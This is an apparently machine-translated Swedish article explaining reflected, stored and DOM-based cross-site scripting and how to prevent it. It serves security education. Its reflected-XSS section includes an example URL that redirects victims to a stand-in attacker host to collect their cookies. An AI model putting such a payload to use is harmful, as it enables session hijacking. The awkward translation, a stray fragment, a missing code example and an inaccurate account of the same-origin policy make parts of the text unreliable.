Hur hackare använder cross site scripting för att bryta webbplatser och stjäla data

Cross-site scripting eller XSS kan vara en potent och snabb attack. Som utvecklare kan du till och med ta det för ett fel i din kod och sluta leta efter buggar som inte finns där.

Som klient som använder den sårbara webbplatsen kan du också oskyldigt avslöja viktig information om din autentiseringsåtkomst till angriparen.

Så vad är cross-site scripting? Hur kan hackare använda den för att bryta sig in på en webbplats och stjäla dina data? Och hur kan du mildra en sådan risk?

Vad är cross-site scripting?

Cross-site scripting eller XSS händer om script från en skadlig webbplats interagerar med kod på en sårbar.

Men servrar är kopplade på ett sätt som hindrar människor utan autentisering från att komma åt och redigera din webbplats källkod.

Internet använder samma ursprungspolicy (SOP) för att blockera interaktion mellan olika webbplatser. SOP kontrollerar dock tre stora säkerhetshål och försöker mildra dem. Dom är:

• Internetprotokollpolicy som kontrollerar om båda webbplatserna levererar innehåll på säker SSL (HTTPS) eller en osäker URL (HTTP).
instagram viewer
• Samma policy för webbhotell, som säkerställer att du är värd för båda webbplatserna på samma domän.
• Portpolicyn som kontrollerar om båda webbplatser använder liknande kommunikationsändpunkter.

SOP hävdar att om någon av dessa policyer skiljer sig åt för två webbplatser kan de inte läsa eller utbyta data via webben.

Men JavaScript är ett manipulerande språk som avgör en webbplats respons. Även om JavaScript på din webbplats med största sannolikhet finns i en separat fil kan du också skapa en skripttagg och skriva den i din Document Object Model (DOM).

Så en XSS-angripare kanske tänker: "om du kan skriva JavaScript i en DOM, så kan du slutligen köra den i valfri kodredigerare eller inmatningsfält som accepterar HTML-taggar. "

Sådan sårbarhet och chans är vad en angripare som använder XSS ser upp för på en målwebbplats. När de väl har hittat ett sådant kryphål kan de kringgå SOP.

Relaterad: The Ultimate JavaScript Cheat Sheet

XSS är därför en attack som kapare använder för att injicera ett skript som utför skadlig handling på en sårbar webbplats. Skriptet kan rikta in sig på oskyddade formulär eller inmatningsfält som accepterar data.

Hur skriptöverföring fungerar och typer, med exempel

XSS kan vara ett snabbt utförande av ett reflekterat eller tillfälligt skript som en angripare placerar i formulär som sökfält. Det kan också vara en gnagande eller en ihållande injicerad i databasen. Eller så kan det komma passivt efter en sidladdning.

I vissa fall kan detta skript också ändra offrets ursprungliga inmatning för att avleda deras avsikt. En ihållande förändring av användarens ingångar som denna är en muterande XSS.

Oavsett vilken form det kommer är målet med en XSS-attack att stjäla ett offrets data genom exponerade kakor och loggar.

Låt oss titta på en kort förklaring av var och en av dessa XSS-attacktyper och deras exempel för att förstå vad de är.

Vad är en reflekterad XSS?

En reflekterad eller tillfällig XSS är en direkt injektion av JavaScript i en användares inmatningsfält. Det riktar sig till förfrågningar som får data från databasen, som sökresultat. Men det är en en-klient-målattack.

Under en reflekterad XSS infogar en angripare ett skript i sökordet för ett måloffer. Sådan JavaScript kan vara ett eko, en omdirigering eller en cookie-samlare.

Skriptet som injiceras i sökinmatningsfältet körs sedan så snart en målklient skickar in sin fråga.

Till exempel, under en användares sökning kan en angripare infoga ett JavaScript som ekar ett formulär och begära att offret anger sitt lösenord eller användarnamn. När användaren har gjort detta kan de sluta skicka in sina referenser omedvetet till en angripare och tro att det är en begäran från den ursprungliga webbplatsen.

Ibland kan angriparen också använda ett skript för att omdirigera en användare från den sårbara sidan till deras sida. Där på angriparens sida kan en intet ont anande användare luras till att skicka in några formulär, vilket leder till referensläckage.

På samma sätt, om målet är att stjäla en användares session, injicerar angriparen ett cookiesamlingsskript i användarens sökterm. De kapar sedan användarens nuvarande session, stjäl relevant information och tar över offrets aktiviteter.

Exemplet XSS-attack nedan stjäl en användares cookie via en GET-begäran:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

I exemplet XSS ovan hittar angriparen ett kryphål på den utsatta webbplatsen. Så när en användare söker efter en otillgänglig resurs på den sårbara webbplatsen, omdirigeras den till angriparens sida. Angriparen trycker sedan på den aktuella användarens cookie och tar tag i deras session.

Denna sårbarhet är dock vanligt när en webbplats frågan inte filtreras för att kontrollera skriptinjektioner via HTML.

Men även om det finns en filtrerad fråga kan en angripare kringgå detta genom att tillgripa desperata åtgärder som att skicka länkar till möjliga användare i realtid på en webbplats. De kan göra detta med valfri form av socialteknik tillgängliga för dem.

Relaterad: Vad du ska göra efter att ha fallit för ett nätfiskeattack

När offren klickar på en sådan länk kan kaparen nu framgångsrikt utföra XSS-attacken och stjäla relevant information från offret.

Det ihållande eller lagrade skriptet över flera webbplatser

Den lagrade XSS utgör fler hot. I det här fallet lagrar en angripare skriptet i webbplatsens databas, vilket utlöser en ihållande körning av det lagrade skriptet. Den lagrade koden kan köras vid sidinläsning eller efter sidinläsning.

Till skillnad från den tillfälliga formen av XSS riktar en lagrad XSS till hela användarbasen på den sårbara webbplatsen. Utöver det riktar den också integriteten på den drabbade webbplatsen.

Under en ihållande XSS använder en angripare inmatningsfält som kommentarformulär för att skicka skriptet i en webbplats databas.

Men vad händer om du skyddar POST-fält med CSRF-tokens? Tyvärr kringgår lagrad skriptöverföring CSRF-kontroller.

Det beror på att angriparen skickar in ett formulär som alla andra användare av webbplatsen. Så, ett sådant kommentarformulär skickar manuset till databasen som det gör alla andra kommentarer.

En sådan attack kan inträffa när inmatningsfält på en webbplats inte använder rätt desinfektionsmedel för att undkomma skript och HTML-taggar.

Tänk dig att en användare lägger upp skriptet nedan med hjälp av ett webbkommentarformulär:

När en angripare sätter in en kod som den i en webbplatss databas, fortsätter den att omdirigera ett offer till angriparens webbplats när sidan laddas. Manuset kan också vara en varning, en interaktiv modalåda eller en inbäddad skadlig annons.

Eftersom skriptet omdirigerar vid sidläsning kan ett offer som inte känner till den sårbara webbplatsen kanske inte märka omdirigeringen.

De interagerar sedan med angriparens webbplats. Men kaparen kan sedan använda flera medel för att få information från offren när de är på deras hemsida.

Vad är en DOM eller passiv XSS?

En DOM-baserad XSS kör en skadlig kod inbäddad på webbplatsen, vilket tvingar hela DOM på klientsidan att bete sig ovanligt.

Medan lagrade och reflekterade XSS riktar sig mot förfrågningar på serversidan på en webbplats riktar DOM XSS till runtime-aktiviteter. Det fungerar genom att infoga ett skript i en webbplatskomponent som utför en specifik uppgift. Den komponenten kör inte en åtgärd på serversidan.

Skriptet som sätts in i en sådan komponent ändrar dock sin avsikt helt. Om den här komponenten utför en DOM-relaterad uppgift, som de som ändrar webbplatsens element, kan manuset tvinga hela webbsidan att ändras.

I värre fall kan en DOM-baserad XSS imitera ett fel. Det beror på att webbsidan blir ovanligt reaktiv.

Hur man förhindrar skriptangrepp över flera webbplatser

En XSS-sårbarhet kommer från felaktig användning av bästa backend-metoder. Så det är vanligtvis utvecklarens ansvar att förhindra en skriptattack på flera platser. Men användare har också en roll att spela.

Att använda en CSFR-token för inmatningsfält verkar inte vara en lösning på XSS-attacker. Och eftersom denna attack också kringgår samma ursprungspolicy, måste utvecklare vara försiktiga så att de inte utelämnar säkerhetsrutiner som förhindrar XSS.

Följande förebyggande åtgärder är till hjälp för utvecklare.

Sanera ingångsfält

För att förhindra både lagrad och tillfällig XSS bör du använda effektiva desinfektionsmedel för inmatningsfält. Sanering av sökfrågor förhindrar till exempel att taggar injiceras i användarnas söktermer.

Använd Unicode och HTML Auto Escape

Det är till hjälp att använda HTML- och Unicode-auto-escape för att förhindra att inmatningsfält som kommentar- och konverteringsformulär accepterar skript och HTML-taggar. Auto escape är en potent förebyggande åtgärd mot lagrad eller ihållande XSS.

Att låta användare infoga taggar i kommentarformulär är en dålig idé för alla webbplatser. Det är ett säkerhetsbrott. Men om du måste tillåta det, bör du endast acceptera taggar som inte utgör XSS-hot.

Använd lämplig ingångsvalidering

Även om du blockerar taggar helt kan en angripare fortfarande utföra en XSS-attack på sociala sätt. De kan skicka e-post istället för att placera något direkt på den utsatta webbplatsen.

Så en annan metod för att förhindra det är att validera ingångar effektivt. Sådana åtgärder inkluderar validering av protokoll och att din webbplats endast accepterar inmatningar från säker HTTPS och inte HTTP.

Att använda dedikerade JavaScript-bibliotek som dompurify kan också hjälpa till att blockera XSS-relaterade säkerhetsöverträdelser.

Du kan använda verktyg som XSS-skanner eller GEEKFLARE för att söka efter XSS-sårbarheter på din webbplats.

Hur användare kan förhindra XSS

Det finns miljontals webbplatser på internet idag. Så du kan knappt säga vilken som har XSS-säkerhetsproblem.

Som användare bör du dock se till att du är bekant med alla webbtjänster innan du använder den. Om en webbsida plötsligt blir läskig eller börjar bete sig ovanligt kan det vara en röd flagga.

Vad som än är fallet, var försiktig så att du inte lämnar ut personuppgifter till en otillförlitlig tredje part. Var sedan på utkik efter oönskade e-postmeddelanden eller misstänkta inlägg på sociala medier som kan resultera i något form av nätfiskeattacker.

Ingen enda förebyggande metod passar alla

Vi har sett hur en XSS-attack ser ut och hur man kan förhindra den. Det är lätt att glömma XSS säkerhetskontroller under utvecklingen. Så utvecklare bör vidta åtgärder för att säkerställa att skydd inte utelämnas. En kombination av de förebyggande åtgärder som vi listade tidigare fungerar dock bättre.

Vad är CSRF-attacker och hur kan du förhindra dem?

För att förhindra att du förlorar kontanter och referenser i CSRF-attacker har både utvecklare och användare en roll att spela.

Om författaren